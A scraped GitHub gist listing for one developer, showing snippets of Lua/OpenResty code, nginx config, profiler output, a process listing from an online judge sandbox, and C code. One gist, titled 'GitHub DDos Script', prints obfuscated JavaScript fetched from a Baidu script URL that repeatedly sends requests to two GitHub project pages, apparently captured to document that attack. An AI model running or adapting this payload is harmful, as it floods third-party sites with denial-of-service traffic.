Skip to content

Instantly share code, notes, and snippets.

View dndx's full-sized avatar

Datong Sun dndx

View GitHub Profile
@dndx
dndx / semaphore_bug.lua
Last active August 10, 2021 08:09
semaphore_bug.lua
local sema = require("ngx.semaphore")
local s = sema.new()
local function do_post()
s:post()
--ngx.sleep(0)
print("posted")
@dndx
dndx / example.lua
Created December 8, 2020 14:27
LuaJIT checking user and group exists
local ffi = require("ffi")
local C = ffi.C
ffi.cdef([[
struct group *getgrnam(const char *name);
struct passwd *getpwnam(const char *name);
]])
title
Configuration Reference

Configuration loading

Kong comes with a default configuration file that can be found at /etc/kong/kong.conf.default if you installed Kong via one of the official packages. To start configuring Kong, you can copy this file:

@dndx
dndx / csv_iterator.lua
Last active August 20, 2019 21:13
Split by comma and space
local connection = "keep-alive"
local i = 0
local ngx_re = require "ngx.re"
local re_split = ngx_re.split
local lower = string.lower
local gsub = string.gsub
local find = string.find
local sub = string.sub
local function csv_iterator(s, b)
worker_processes 1;
error_log stderr debug;
daemon off;
pid logs/nginx.pid;
pcre_jit on;
events {
worker_connections 1024;
}
@dndx
dndx / gist:de8f85588eccfef0795f
Created January 23, 2016 17:25
ps aux on LeetCode OJ
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.1 4472 752 ? Ss 17:24 0:00 sh -c $OBSCURE_DIR/runc.sh
root 9 0.0 0.5 18060 2868 ? S 17:24 0:00 /bin/bash /usr/lib/gcc/x86_64-linux-gnu/4.9.1/.cache/runc.sh
root 28 0.0 0.3 13688 1536 ? S 17:24 0:00 /usr/lib/gcc/x86_64-linux-gnu/4.9.1/.cache/trace_safe --mode=interpret --binary=/usr/lib/gcc/x86_64-linux-gnu/4.9.1/.cache/prog --lang=c --data_input=/usr/lib/gcc/x86_64-linux-gnu/4.9.1/.cache/data/data.in --time_limit=1900 --memory_limit=20971520 --stack_limit=4394304 --recursion_limit=None
judge 29 0.0 0.1 5236 784 ? S 17:24 0:00 sandbox run
judge 30 0.0 0.1 4472 840 ? S 17:24 0:00 sh -c ps aux
judge 31 0.0 0.4 15600 2200 ? R 17:24 0:00 ps aux
@dndx
dndx / gist:2ab4bb8e865961036408
Created April 3, 2015 21:41
GitHub DDos Script
$ curl http://cbjs.baidu.com/js/o.js
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('l.k("<5 p=\'r://H.B.9/8/2.0.0/8.C.t\'>\\h/5>");!J.K&&l.k("<5 p=\'r://L.8.9/8-T.t\'>\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);',62,64,'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|
@dndx
dndx / gist:4448163
Created January 3, 2013 22:44
gprof result of shadowsocks-libuv
[root@dev shadowsocks-libuv]# gprof ./server
Flat profile:
Each sample counts as 0.01 seconds.
% cumulative self self total
time seconds seconds calls ms/call ms/call name
66.67 0.02 0.02 260865 0.00 0.00 merge
33.34 0.03 0.01 uv_backend_timeout
0.00 0.03 0.00 28563 0.00 0.00 established_alloc_cb
0.00 0.03 0.00 28496 0.00 0.00 after_write_cb
@dndx
dndx / main.c
Created October 22, 2012 01:44
C Sort Array of Struct
#include <stdio.h>
#include <stdlib.h>
typedef struct {
char a;
char b;
} s;
int comp (const s *a, const s *b) {
return a->a > b->a || a->b < b->b ? -1 : 1;
@dndx
dndx / fib.c
Created October 10, 2012 03:54
Python C Extension for computing fibonacci number (recursion version)
/*
The MIT License (MIT)
Copyright (c) <2012> <Datong Sun> idndx.com
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNEC